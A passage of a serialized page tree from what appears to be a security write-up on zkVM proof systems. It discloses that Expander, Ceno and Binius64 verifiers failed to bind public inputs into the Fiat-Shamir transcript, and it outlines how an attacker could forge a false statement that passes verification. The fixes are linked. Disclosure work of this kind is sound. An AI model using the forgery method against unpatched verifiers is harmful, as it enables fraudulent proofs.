11721],[127578,127582,127639,127696,127700,127705],{"type":24,"tag":271,"props":127579,"children":127581},{"className":127580,"style":127445},[11726],[],{"type":24,"tag":271,"props":127583,"children":127585},{"className":127584},[11732],[127586,127591],{"type":24,"tag":271,"props":127587,"children":127589},{"className":127588},[11732,29273],[127590],{"type":29,"value":32},{"type":24,"tag":271,"props":127592,"children":127594},{"className":127593},[11747],[127595],{"type":24,"tag":271,"props":127596,"children":127598},{"className":127597},[11752,29327],[127599,127628],{"type":24,"tag":271,"props":127600,"children":127602},{"className":127601},[11757],[127603,127623],{"type":24,"tag":271,"props":127604,"children":127606},{"className":127605,"style":99889},[11762],[127607],{"type":24,"tag":271,"props":127608,"children":127609},{"style":99893},[127610,127614],{"type":24,"tag":271,"props":127611,"children":127613},{"className":127612,"style":11772},[11771],[],{"type":24,"tag":271,"props":127615,"children":127617},{"className":127616},[11777,11778,11779,11780],[127618],{"type":24,"tag":271,"props":127619,"children":127621},{"className":127620},[11732,11780],[127622],{"type":29,"value":156},{"type":24,"tag":271,"props":127624,"children":127626},{"className":127625},[29430],[127627],{"type":29,"value":29433},{"type":24,"tag":271,"props":127629,"children":127631},{"className":127630},[11757],[127632],{"type":24,"tag":271,"props":127633,"children":127635},{"className":127634,"style":99920},[11762],[127636],{"type":24,"tag":271,"props":127637,"children":127638},{},[],{"type":24,"tag":271,"props":127640,"children":127642},{"className":127641},[11732],[127643,127648],{"type":24,"tag":271,"props":127644,"children":127646},{"className":127645},[11732,29273],[127647],{"type":29,"value":6034},{"type":24,"tag":271,"props":127649,"children":127651},{"className":127650},[11747],[127652],{"type":24,"tag":271,"props":127653,"children":127655},{"className":127654},[11752,29327],[127656,127685],{"type":24,"tag":271,"props":127657,"children":127659},{"className":127658},[11757],[127660,127680],{"type":24,"tag":271,"props":127661,"children":127663},{"className":127662,"style":99889},[11762],[127664],{"type":24,"tag":271,"props":127665,"children":127666},{"style":99893},[127667,127671],{"type":24,"tag":271,"props":127668,"children":127670},{"className":127669,"style":11772},[11771],[],{"type":24,"tag":271,"props":127672,"children":127674},{"className":127673},[11777,11778,11779,11780],[127675],{"type":24,"tag":271,"props":127676,"children":127678},{"className":127677},[11732,11780],[127679],{"type":29,"value":156},{"type":24,"tag":271,"props":127681,"children":127683},{"className":127682},[29430],[127684],{"type":29,"value":29433},{"type":24,"tag":271,"props":127686,"children":127688},{"className":127687},[11757],[127689],{"type":24,"tag":271,"props":127690,"children":127692},{"className":127691,"style":99920},[11762],[127693],{"type":24,"tag":271,"props":127694,"children":127695},{},[],{"type":24,"tag":271,"props":127697,"children":127699},{"className":127698,"style":11811},[11810],[],{"type":24,"tag":271,"props":127701,"children":127703},{"className":127702},[11816],[127704],{"type":29,"value":1012},{"type":24,"tag":271,"props":127706,"children":127708},{"className":127707,"style":11811},[11810],[],{"type":24,"tag":271,"props":127710,"children":127712},{"className":127711},[11721],[127713,127717,127722,127726,127731],{"type":24,"tag":271,"props":127714,"children":127716},{"className":127715,"style":117678},[11726],[],{"type":24,"tag":271,"props":127718,"children":127720},{"className":127719},[11732,29273],[127721],{"type":29,"value":578},{"type":24,"tag":271,"props":127723,"children":127725},{"className":127724,"style":11908},[11810],[],{"type":24,"tag":271,"props":127727,"children":127729},{"className":127728},[11913],[127730],{"type":29,"value":762},{"type":24,"tag":271,"props":127732,"children":127734},{"className":127733,"style":11908},[11810],[],{"type":24,"tag":271,"props":127736,"children":127738},{"className":127737},[11721],[127739,127743],{"type":24,"tag":271,"props":127740,"children":127742},{"className":127741,"style":100868},[11726],[],{"type":24,"tag":271,"props":127744,"children":127746},{"className":127745},[11732],[127747],{"type":29,"value":4121},{"type":24,"tag":101,"props":127749,"children":127750},{},[127751,127753],{"type":29,"value":127752},"Bilinear (from multiset): ",{"type":24,"tag":135,"props":127754,"children":127756},{"className":127755},[11705,11706],[127757],{"type":24,"tag":271,"props":127758,"children":127760},{"className":127759},[11711],[127761],{"type":24,"tag":271,"props":127762,"children":127764},{"className":127763,"ariaHidden":5670},[11716],[127765,127791,127869,127947,127973],{"type":24,"tag":271,"props":127766,"children":127768},{"className":127767},[11721],[127769,127773,127778,127782,127787],{"type":24,"tag":271,"props":127770,"children":127772},{"className":127771,"style":99752},[11726],[],{"type":24,"tag":271,"props":127774,"children":127776},{"className":127775,"style":101266},[11732,29273],[127777],{"type":29,"value":95474},{"type":24,"tag":271,"props":127779,"children":127781},{"className":127780,"style":11811},[11810],[],{"type":24,"tag":271,"props":127783,"children":127785},{"className":127784},[11816],[127786],{"type":29,"value":118099},{"type":24,"tag":271,"props":127788,"children":127790},{"className":127789,"style":11811},[11810],[],{"type":24,"tag":271,"props":127792,"children":127794},{"className":127793},[11721],[127795,127799,127856,127860,127865],{"type":24,"tag":271,"props":127796,"children":127798},{"className":127797,"style":126891},[11726],[],{"type":24,"tag":271,"props":127800,"children":127802},{"className":127801},[11732],[127803,127808],{"type":24,"tag":271,"props":127804,"children":127806},{"className":127805},[11732,29273],[127807],{"type":29,"value":6034},{"type":24,"tag":271,"props":127809,"children":127811},{"className":127810},[11747],[127812],{"type":24,"tag":271,"props":127813,"children":127815},{"className":127814},[11752,29327],[127816,127845],{"type":24,"tag":271,"props":127817,"children":127819},{"className":127818},[11757],[127820,127840],{"type":24,"tag":271,"props":127821,"children":127823},{"className":127822,"style":99889},[11762],[127824],{"type":24,"tag":271,"props":127825,"children":127826},{"style":99893},[127827,127831],{"type":24,"tag":271,"props":127828,"children":127830},{"className":127829,"style":11772},[11771],[],{"type":24,"tag":271,"props":127832,"children":127834},{"className":127833},[11777,11778,11779,11780],[127835],{"type":24,"tag":271,"props":127836,"children":127838},{"className":127837},[11732,11780],[127839],{"type":29,"value":4121},{"type":24,"tag":271,"props":127841,"children":127843},{"className":127842},[29430],[127844],{"type":29,"value":29433},{"type":24,"tag":271,"props":127846,"children":127848},{"className":127847},[11757],[127849],{"type":24,"tag":271,"props":127850,"children":127852},{"className":127851,"style":99920},[11762],[127853],{"type":24,"tag":271,"props":127854,"children":127855},{},[],{"type":24,"tag":271,"props":127857,"children":127859},{"className":127858,"style":11811},[11810],[],{"type":24,"tag":271,"props":127861,"children":127863},{"className":127862},[11816],[127864],{"type":29,"value":118099},{"type":24,"tag":271,"props":127866,"children":127868},{"className":127867,"style":11811},[11810],[],{"type":24,"tag":271,"props":127870,"children":127872},{"className":127871},[11721],[127873,127877,127934,127938,127943],{"type":24,"tag":271,"props":127874,"children":127876},{"className":127875,"style":127445},[11726],[],{"type":24,"tag":271,"props":127878,"children":127880},{"className":127879},[11732],[127881,127886],{"type":24,"tag":271,"props":127882,"children":127884},{"className":127883},[11732,29273],[127885],{"type":29,"value":6034},{"type":24,"tag":271,"props":127887,"children":127889},{"className":127888},[11747],[127890],{"type":24,"tag":271,"props":127891,"children":127893},{"className":127892},[11752,29327],[127894,127923],{"type":24,"tag":271,"props":127895,"children":127897},{"className":127896},[11757],[127898,127918],{"type":24,"tag":271,"props":127899,"children":127901},{"className":127900,"style":99889},[11762],[127902],{"type":24,"tag":271,"props":127903,"children":127904},{"style":99893},[127905,127909],{"type":24,"tag":271,"props":127906,"children":127908},{"className":127907,"style":11772},[11771],[],{"type":24,"tag":271,"props":127910,"children":127912},{"className":127911},[11777,11778,11779,11780],[127913],{"type":24,"tag":271,"props":127914,"children":127916},{"className":127915},[11732,11780],[127917],{"type":29,"value":156},{"type":24,"tag":271,"props":127919,"children":127921},{"className":127920},[29430],[127922],{"type":29,"value":29433},{"type":24,"tag":271,"props":127924,"children":127926},{"className":127925},[11757],[127927],{"type":24,"tag":271,"props":127928,"children":127930},{"className":127929,"style":99920},[11762],[127931],{"type":24,"tag":271,"props":127932,"children":127933},{},[],{"type":24,"tag":271,"props":127935,"children":127937},{"className":127936,"style":11811},[11810],[],{"type":24,"tag":271,"props":127939,"children":127941},{"className":127940},[11816],[127942],{"type":29,"value":1012},{"type":24,"tag":271,"props":127944,"children":127946},{"className":127945,"style":11811},[11810],[],{"type":24,"tag":271,"props":127948,"children":127950},{"className":127949},[11721],[127951,127955,127960,127964,127969],{"type":24,"tag":271,"props":127952,"children":127954},{"className":127953,"style":99752},[11726],[],{"type":24,"tag":271,"props":127956,"children":127958},{"className":127957},[11732,29273],[127959],{"type":29,"value":77352},{"type":24,"tag":271,"props":127961,"children":127963},{"className":127962,"style":11908},[11810],[],{"type":24,"tag":271,"props":127965,"children":127967},{"className":127966},[11913],[127968],{"type":29,"value":762},{"type":24,"tag":271,"props":127970,"children":127972},{"className":127971,"style":11908},[11810],[],{"type":24,"tag":271,"props":127974,"children":127976},{"className":127975},[11721],[127977,127981],{"type":24,"tag":271,"props":127978,"children":127980},{"className":127979,"style":100868},[11726],[],{"type":24,"tag":271,"props":127982,"children":127984},{"className":127983},[11732],[127985],{"type":29,"value":4121},{"type":24,"tag":25,"props":127987,"children":127988},{},[127989],{"type":29,"value":127990},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":24,"tag":25,"props":127992,"children":127993},{},[127994,127998,128000,128007,128009,128016],{"type":24,"tag":213,"props":127995,"children":127996},{},[127997],{"type":29,"value":123547},{"type":29,"value":127999}," Fixed on March 5, 2026 via ",{"type":24,"tag":32,"props":128001,"children":128004},{"href":128002,"rel":128003},"https://github.com/scroll-tech/ceno/pull/1262",[36],[128005],{"type":29,"value":128006},"PR #1262",{"type":29,"value":128008}," (original report: ",{"type":24,"tag":32,"props":128010,"children":128013},{"href":128011,"rel":128012},"https://github.com/scroll-tech/ceno/issues/1125",[36],[128014],{"type":29,"value":128015},"#1125",{"type":29,"value":2693},{"type":24,"tag":26485,"props":128018,"children":128019},{},[],{"type":24,"tag":85,"props":128021,"children":128023},{"id":128022},"expander-polyhedra",[128024],{"type":29,"value":128025},"Expander (Polyhedra)",{"type":24,"tag":25,"props":128027,"children":128028},{},[128029],{"type":29,"value":128030},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":24,"tag":25,"props":128032,"children":128033},{},[128034],{"type":24,"tag":213,"props":128035,"children":128036},{},[128037],{"type":29,"value":122253},{"type":24,"tag":261,"props":128039,"children":128041},{"code":128040},"Proof (raw bytes, parsed in order):\n - PCS commitment\n - Sumcheck round polynomials (for each layer)\n - Layer claims (claim_x, claim_y)\n - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n - public_input // statement data passed separately\n - claimed_v // statement claim passed separately\n",[128042],{"type":24,"tag":135,"props":128043,"children":128044},{"__ignoreMap":7},[128045],{"type":29,"value":128040},{"type":24,"tag":25,"props":128047,"children":128048},{},[128049,128051,128057],{"type":29,"value":128050},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":24,"tag":135,"props":128052,"children":128054},{"className":128053},[],[128055],{"type":29,"value":128056},"eval_cst",{"type":29,"value":128058}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":24,"tag":261,"props":128060,"children":128062},{"code":128061,"language":10717,"meta":7,"className":10718,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[128063],{"type":24,"tag":135,"props":128064,"children":128065},{"__ignoreMap":7},[128066],{"type":24,"tag":271,"props":128067,"children":128068},{"class":273,"line":274},[128069,128073,128078,128083,128087,128091,128095,128099,128104,128108,128113,128118,128122,128127],{"type":24,"tag":271,"props":128070,"children":128071},{"style":630},[128072],{"type":29,"value":83422},{"type":24,"tag":271,"props":128074,"children":128075},{"style":624},[128076],{"type":29,"value":128077}," -=",{"type":24,"tag":271,"props":128079,"children":128080},{"style":3887},[128081],{"type":29,"value":128082}," GKRVerifierHelper",{"type":24,"tag":271,"props":128084,"children":128085},{"style":624},[128086],{"type":29,"value":11207},{"type":24,"tag":271,"props":128088,"children":128089},{"style":598},[128090],{"type":29,"value":128056},{"type":24,"tag":271,"props":128092,"children":128093},{"style":288},[128094],{"type":29,"value":606},{"type":24,"tag":271,"props":128096,"children":128097},{"style":624},[128098],{"type":29,"value":1137},{"type":24,"tag":271,"props":128100,"children":128101},{"style":630},[128102],{"type":29,"value":128103},"layer",{"type":24,"tag":271,"props":128105,"children":128106},{"style":624},[128107],{"type":29,"value":41},{"type":24,"tag":271,"props":128109,"children":128110},{"style":288},[128111],{"type":29,"value":128112},"const_, ",{"type":24,"tag":271,"props":128114,"children":128115},{"style":630},[128116],{"type":29,"value":128117},"public_input",{"type":24,"tag":271,"props":128119,"children":128120},{"style":288},[128121],{"type":29,"value":158},{"type":24,"tag":271,"props":128123,"children":128124},{"style":630},[128125],{"type":29,"value":128126},"sp",{"type":24,"tag":271,"props":128128,"children":128129},{"style":288},[128130],{"type":29,"value":1155},{"type":24,"tag":25,"props":128132,"children":128133},{},[128134,128136,128141],{"type":29,"value":128135},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":24,"tag":135,"props":128137,"children":128139},{"className":128138},[],[128140],{"type":29,"value":128126},{"type":29,"value":28429},{"type":24,"tag":25,"props":128143,"children":128144},{},[128145],{"type":24,"tag":213,"props":128146,"children":128147},{},[128148],{"type":29,"value":128149},"The vulnerability:",{"type":24,"tag":25,"props":128151,"children":128152},{},[128153,128158],{"type":24,"tag":135,"props":128154,"children":128156},{"className":128155},[],[128157],{"type":29,"value":128117},{"type":29,"value":128159}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":24,"tag":25,"props":128161,"children":128162},{},[128163],{"type":24,"tag":74,"props":128164,"children":128167},{"alt":128165,"src":128166},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":24,"tag":25,"props":128169,"children":128170},{},[128171,128172,128177],{"type":29,"value":1422},{"type":24,"tag":135,"props":128173,"children":128175},{"className":128174},[],[128176],{"type":29,"value":128056},{"type":29,"value":128178}," function computes a linear combination:",{"type":24,"tag":25,"props":128180,"children":128181},{},[128182],{"type":24,"tag":135,"props":128183,"children":128185},{"className":128184},[11705,11706],[128186],{"type":24,"tag":271,"props":128187,"children":128189},{"className":128188},[11711],[128190],{"type":24,"tag":271,"props":128191,"children":128193},{"className":128192,"ariaHidden":5670},[11716],[128194,128239,128363],{"type":24,"tag":271,"props":128195,"children":128197},{"className":128196},[11721],[128198,128202,128211,128216,128226,128230,128235],{"type":24,"tag":271,"props":128199,"children":128201},{"className":128200,"style":101250},[11726],[],{"type":24,"tag":271,"props":128203,"children":128205},{"className":128204},[11732,29],[128206],{"type":24,"tag":271,"props":128207,"children":128209},{"className":128208},[11732],[128210],{"type":29,"value":45216},{"type":24,"tag":271,"props":128212,"children":128214},{"className":128213,"style":99837},[11732],[128215],{"type":29,"value":10818},{"type":24,"tag":271,"props":128217,"children":128219},{"className":128218},[11732,29],[128220],{"type":24,"tag":271,"props":128221,"children":128223},{"className":128222},[11732],[128224],{"type":29,"value":128225},"cst",{"type":24,"tag":271,"props":128227,"children":128229},{"className":128228,"style":11908},[11810],[],{"type":24,"tag":271,"props":128231,"children":128233},{"className":128232},[11913],[128234],{"type":29,"value":762},{"type":24,"tag":271,"props":128236,"children":128238},{"className":128237,"style":11908},[11810],[],{"type":24,"tag":271,"props":128240,"children":128242},{"className":128241},[11721],[128243,128247,128304,128308,128335,128340,128345,128350,128354,128359],{"type":24,"tag":271,"props":128244,"children":128246},{"className":128245,"style":99779},[11726],[],{"type":24,"tag":271,"props":128248,"children":128250},{"className":128249},[29309],[128251,128256],{"type":24,"tag":271,"props":128252,"children":128254},{"className":128253,"style":29316},[29309,29314,29315],[128255],{"type":29,"value":115632},{"type":24,"tag":271,"props":128257,"children":128259},{"className":128258},[11747],[128260],{"type":24,"tag":271,"props":128261,"children":128263},{"className":128262},[11752,29327],[128264,128293],{"type":24,"tag":271,"props":128265,"children":128267},{"className":128266},[11757],[128268,128288],{"type":24,"tag":271,"props":128269,"children":128271},{"className":128270,"style":121044},[11762],[128272],{"type":24,"tag":271,"props":128273,"children":128274},{"style":29340},[128275,128279],{"type":24,"tag":271,"props":128276,"children":128278},{"className":128277,"style":11772},[11771],[],{"type":24,"tag":271,"props":128280,"children":128282},{"className":128281},[11777,11778,11779,11780],[128283],{"type":24,"tag":271,"props":128284,"children":128286},{"className":128285},[11732,29273,11780],[128287],{"type":29,"value":11462},{"type":24,"tag":271,"props":128289,"children":128291},{"className":128290},[29430],[128292],{"type":29,"value":29433},{"type":24,"tag":271,"props":128294,"children":128296},{"className":128295},[11757],[128297],{"type":24,"tag":271,"props":128298,"children":128300},{"className":128299,"style":121324},[11762],[128301],{"type":24,"tag":271,"props":128302,"children":128303},{},[],{"type":24,"tag":271,"props":128305,"children":128307},{"className":128306,"style":11849},[11810],[],{"type":24,"tag":271,"props":128309,"children":128311},{"className":128310},[11732],[128312,128321,128326],{"type":24,"tag":271,"props":128313,"children":128315},{"className":128314},[11732,29],[128316],{"type":24,"tag":271,"props":128317,"children":128319},{"className":128318},[11732],[128320],{"type":29,"value":68461},{"type":24,"tag":271,"props":128322,"children":128324},{"className":128323,"style":99837},[11732],[128325],{"type":29,"value":10818},{"type":24,"tag":271,"props":128327,"children":128329},{"className":128328},[11732,29],[128330],{"type":24,"tag":271,"props":128331,"children":128333},{"className":128332},[11732],[128334],{"type":29,"value":16082},{"type":24,"tag":271,"props":128336,"children":128338},{"className":128337},[29402],[128339],{"type":29,"value":4520},{"type":24,"tag":271,"props":128341,"children":128343},{"className":128342},[11732,29273],[128344],{"type":29,"value":11462},{"type":24,"tag":271,"props":128346,"children":128348},{"className":128347},[29424],[128349],{"type":29,"value":23108},{"type":24,"tag":271,"props":128351,"children":128353},{"className":128352,"style":11811},[11810],[],{"type":24,"tag":271,"props":128355,"children":128357},{"className":128356},[11816],[128358],{"type":29,"value":118099},{"type":24,"tag":271,"props":128360,"children":128362},{"className":128361,"style":11811},[11810],[],{"type":24,"tag":271,"props":128364,"children":128366},{"className":128365},[11721],[128367,128371,128380,128385,128390,128395,128399,128448],{"type":24,"tag":271,"props":128368,"children":128370},{"className":128369,"style":11831},[11726],[],{"type":24,"tag":271,"props":128372,"children":128374},{"className":128373},[11732,29],[128375],{"type":24,"tag":271,"props":128376,"children":128378},{"className":128377},[11732],[128379],{"type":29,"value":119426},{"type":24,"tag":271,"props":128381,"children":128383},{"className":128382},[29402],[128384],{"type":29,"value":606},{"type":24,"tag":271,"props":128386,"children":128388},{"className":128387},[11732,29273],[128389],{"type":29,"value":11462},{"type":24,"tag":271,"props":128391,"children":128393},{"className":128392},[11842],[128394],{"type":29,"value":11845},{"type":24,"tag":271,"props":128396,"children":128398},{"className":128397,"style":11849},[11810],[],{"type":24,"tag":271,"props":128400,"children":128402},{"className":128401},[11732,118986],[128403],{"type":24,"tag":271,"props":128404,"children":128406},{"className":128405},[11752],[128407],{"type":24,"tag":271,"props":128408,"children":128410},{"className":128409},[11757],[128411],{"type":24,"tag":271,"props":128412,"children":128414},{"className":128413,"style":119072},[11762],[128415,128427],{"type":24,"tag":271,"props":128416,"children":128417},{"style":119003},[128418,128422],{"type":24,"tag":271,"props":128419,"children":128421},{"className":128420,"style":119008},[11771],[],{"type":24,"tag":271,"props":128423,"children":128425},{"className":128424,"style":99837},[11732,29273],[128426],{"type":29,"value":100656},{"type":24,"tag":271,"props":128428,"children":128429},{"style":119003},[128430,128434],{"type":24,"tag":271,"props":128431,"children":128433},{"className":128432,"style":119008},[11771],[],{"type":24,"tag":271,"props":128435,"children":128437},{"className":128436,"style":119096},[119026],[128438],{"type":24,"tag":271,"props":128439,"children":128441},{"className":128440,"style":119102},[119101],[128442],{"type":24,"tag":41942,"props":128443,"children":128444},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[128445],{"type":24,"tag":119114,"props":128446,"children":128447},{"d":119116},[],{"type":24,"tag":271,"props":128449,"children":128451},{"className":128450},[29424],[128452],{"type":29,"value":2693},{"type":24,"tag":25,"props":128454,"children":128455},{},[128456,128457,128526,128528,128533,128535,128540],{"type":29,"value":122673},{"type":24,"tag":135,"props":128458,"children":128460},{"className":128459},[11705,11706],[128461],{"type":24,"tag":271,"props":128462,"children":128464},{"className":128463},[11711],[128465],{"type":24,"tag":271,"props":128466,"children":128468},{"className":128467,"ariaHidden":5670},[11716],[128469],{"type":24,"tag":271,"props":128470,"children":128472},{"className":128471},[11721],[128473,128477],{"type":24,"tag":271,"props":128474,"children":128476},{"className":128475,"style":119072},[11726],[],{"type":24,"tag":271,"props":128478,"children":128480},{"className":128479},[11732,118986],[128481],{"type":24,"tag":271,"props":128482,"children":128484},{"className":128483},[11752],[128485],{"type":24,"tag":271,"props":128486,"children":128488},{"className":128487},[11757],[128489],{"type":24,"tag":271,"props":128490,"children":128492},{"className":128491,"style":119072},[11762],[128493,128505],{"type":24,"tag":271,"props":128494,"children":128495},{"style":119003},[128496,128500],{"type":24,"tag":271,"props":128497,"children":128499},{"className":128498,"style":119008},[11771],[],{"type":24,"tag":271,"props":128501,"children":128503},{"className":128502,"style":99837},[11732,29273],[128504],{"type":29,"value":100656},{"type":24,"tag":271,"props":128506,"children":128507},{"style":119003},[128508,128512],{"type":24,"tag":271,"props":128509,"children":128511},{"className":128510,"style":119008},[11771],[],{"type":24,"tag":271,"props":128513,"children":128515},{"className":128514,"style":119096},[119026],[128516],{"type":24,"tag":271,"props":128517,"children":128519},{"className":128518,"style":119102},[119101],[128520],{"type":24,"tag":41942,"props":128521,"children":128522},{"xmlns":119106,"width":119107,"height":119108,"style":119109,"viewBox":119110,"preserveAspectRatio":119111},[128523],{"type":24,"tag":119114,"props":128524,"children":128525},{"d":119116},[],{"type":29,"value":128527}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":24,"tag":135,"props":128529,"children":128531},{"className":128530},[],[128532],{"type":29,"value":128117},{"type":29,"value":128534},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":24,"tag":135,"props":128536,"children":128538},{"className":128537},[],[128539],{"type":29,"value":128117},{"type":29,"value":128541}," that makes the verifier's check pass.",{"type":24,"tag":25,"props":128543,"children":128544},{},[128545,128549,128551,128558,128559,128562,128569],{"type":24,"tag":213,"props":128546,"children":128547},{},[128548],{"type":29,"value":123547},{"type":29,"value":128550}," Fixed on 21st January 2026 via ",{"type":24,"tag":32,"props":128552,"children":128555},{"href":128553,"rel":128554},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[36],[128556],{"type":29,"value":128557},"commit 4a8c2be",{"type":29,"value":3360},{"type":24,"tag":38643,"props":128560,"children":128561},{},[],{"type":24,"tag":32,"props":128563,"children":128566},{"href":128564,"rel":128565},"https://blog.polyhedra.network/expander-bug-bounty/",[36],[128567],{"type":29,"value":128568},"Claimed 500k Bug bounty",{"type":29,"value":128570}," award pending",{"type":24,"tag":26485,"props":128572,"children":128573},{},[],{"type":24,"tag":85,"props":128575,"children":128577},{"id":128576},"binius64",[128578],{"type":29,"value":114680},{"type":24,"tag":25,"props":128580,"children":128581},{},[128582,128584,128711],{"type":29,"value":128583},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":24,"tag":135,"props":128585,"children":128587},{"className":128586},[11705,11706],[128588],{"type":24,"tag":271,"props":128589,"children":128591},{"className":128590},[11711],[128592],{"type":24,"tag":271,"props":128593,"children":128595},{"className":128594,"ariaHidden":5670},[11716],[128596],{"type":24,"tag":271,"props":128597,"children":128599},{"className":128598},[11721],[128600,128605],{"type":24,"tag":271,"props":128601,"children":128604},{"className":128602,"style":128603},[11726],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":24,"tag":271,"props":128606,"children":128608},{"className":128607},[11732],[128609,128616],{"type":24,"tag":271,"props":128610,"children":128613},{"className":128611},[11732,128612],"mathbb",[128614],{"type":29,"value":128615},"F",{"type":24,"tag":271,"props":128617,"children":128619},{"className":128618},[11747],[128620],{"type":24,"tag":271,"props":128621,"children":128623},{"className":128622},[11752,29327],[128624,128699],{"type":24,"tag":271,"props":128625,"children":128627},{"className":128626},[11757],[128628,128694],{"type":24,"tag":271,"props":128629,"children":128631},{"className":128630,"style":119169},[11762],[128632],{"type":24,"tag":271,"props":128633,"children":128635},{"style":128634},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[128636,128640],{"type":24,"tag":271,"props":128637,"children":128639},{"className":128638,"style":11772},[11771],[],{"type":24,"tag":271,"props":128641,"children":128643},{"className":128642},[11777,11778,11779,11780],[128644],{"type":24,"tag":271,"props":128645,"children":128647},{"className":128646},[11732,11780],[128648],{"type":24,"tag":271,"props":128649,"children":128651},{"className":128650},[11732,11780],[128652,128657],{"type":24,"tag":271,"props":128653,"children":128655},{"className":128654},[11732,11780],[128656],{"type":29,"value":165},{"type":24,"tag":271,"props":128658,"children":128660},{"className":128659},[11747],[128661],{"type":24,"tag":271,"props":128662,"children":128664},{"className":128663},[11752],[128665],{"type":24,"tag":271,"props":128666,"children":128668},{"className":128667},[11757],[128669],{"type":24,"tag":271,"props":128670,"children":128673},{"className":128671,"style":128672},[11762],"height:0.7463em;",[128674],{"type":24,"tag":271,"props":128675,"children":128676},{"style":119294},[128677,128681],{"type":24,"tag":271,"props":128678,"children":128680},{"className":128679,"style":115697},[11771],[],{"type":24,"tag":271,"props":128682,"children":128684},{"className":128683},[11777,115702,115703,11780],[128685],{"type":24,"tag":271,"props":128686,"children":128688},{"className":128687},[11732,11780],[128689],{"type":24,"tag":271,"props":128690,"children":128692},{"className":128691},[11732,11780],[128693],{"type":29,"value":37522},{"type":24,"tag":271,"props":128695,"children":128697},{"className":128696},[29430],[128698],{"type":29,"value":29433},{"type":24,"tag":271,"props":128700,"children":128702},{"className":128701},[11757],[128703],{"type":24,"tag":271,"props":128704,"children":128707},{"className":128705,"style":128706},[11762],"height:0.1776em;",[128708],{"type":24,"tag":271,"props":128709,"children":128710},{},[],{"type":29,"value":128712}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":24,"tag":25,"props":128714,"children":128715},{},[128716,128718,128723],{"type":29,"value":128717},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":24,"tag":213,"props":128719,"children":128720},{},[128721],{"type":29,"value":128722},"Shift Protocol",{"type":29,"value":128724}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":24,"tag":25,"props":128726,"children":128727},{},[128728],{"type":24,"tag":213,"props":128729,"children":128730},{},[128731],{"type":29,"value":128149},{"type":24,"tag":25,"props":128733,"children":128734},{},[128735],{"type":29,"value":128736},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":24,"tag":261,"props":128738,"children":128740},{"code":128739,"language":10717,"meta":7,"className":10718,"style":7},"pub fn verify\u003CF, C>(\n constraint_system: &ConstraintSystem,\n public: &[Word], // \u003C- NEVER ABSORBED\n // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[128741],{"type":24,"tag":135,"props":128742,"children":128743},{"__ignoreMap":7},[128744,128779,128804,128838,128846],{"type":24,"tag":271,"props":128745,"children":128746},{"class":273,"line":274},[128747,128751,128755,128759,128763,128767,128771,128775],{"type":24,"tag":271,"props":128748,"children":128749},{"style":278},[128750],{"type":29,"value":21391},{"type":24,"tag":271,"props":128752,"children":128753},{"style":278},[128754],{"type":29,"value":21396},{"type":24,"tag":271,"props":128756,"children":128757},{"style":598},[128758],{"type":29,"value":15881},{"type":24,"tag":271,"props":128760,"children":128761},{"style":288},[128762],{"type":29,"value":801},{"type":24,"tag":271,"props":128764,"children":128765},{"style":3887},[128766],{"type":29,"value":128615},{"type":24,"tag":271,"props":128768,"children":128769},{"style":288},[128770],{"type":29,"value":158},{"type":24,"tag":271,"props":128772,"children":128773},{"style":3887},[128774],{"type":29,"value":123066},{"type":24,"tag":271,"props":128776,"children":128777},{"style":288},[128778],{"type":29,"value":14305},{"type":24,"tag":271,"props":128780,"children":128781},{"class":273,"line":284},[128782,128787,128791,128795,128800],{"type":24,"tag":271,"props":128783,"children":128784},{"style":630},[128785],{"type":29,"value":128786}," constraint_system",{"type":24,"tag":271,"props":128788,"children":128789},{"style":624},[128790],{"type":29,"value":12210},{"type":24,"tag":271,"props":128792,"children":128793},{"style":624},[128794],{"type":29,"value":14858},{"type":24,"tag":271,"props":128796,"children":128797},{"style":3887},[128798],{"type":29,"value":128799},"ConstraintSystem",{"type":24,"tag":271,"props":128801,"children":128802},{"style":288},[128803],{"type":29,"value":638},{"type":24,"tag":271,"props":128805,"children":128806},{"class":273,"line":294},[128807,128811,128815,128819,128823,128828,128833],{"type":24,"tag":271,"props":128808,"children":128809},{"style":630},[128810],{"type":29,"value":15238},{"type":24,"tag":271,"props":128812,"children":128813},{"style":624},[128814],{"type":29,"value":12210},{"type":24,"tag":271,"props":128816,"children":128817},{"style":624},[128818],{"type":29,"value":14858},{"type":24,"tag":271,"props":128820,"children":128821},{"style":288},[128822],{"type":29,"value":4520},{"type":24,"tag":271,"props":128824,"children":128825},{"style":3887},[128826],{"type":29,"value":128827},"Word",{"type":24,"tag":271,"props":128829,"children":128830},{"style":288},[128831],{"type":29,"value":128832},"], ",{"type":24,"tag":271,"props":128834,"children":128835},{"style":2058},[128836],{"type":29,"value":128837},"// \u003C- NEVER ABSORBED\n",{"type":24,"tag":271,"props":128839,"children":128840},{"class":273,"line":303},[128841],{"type":24,"tag":271,"props":128842,"children":128843},{"style":2058},[128844],{"type":29,"value":128845}," // 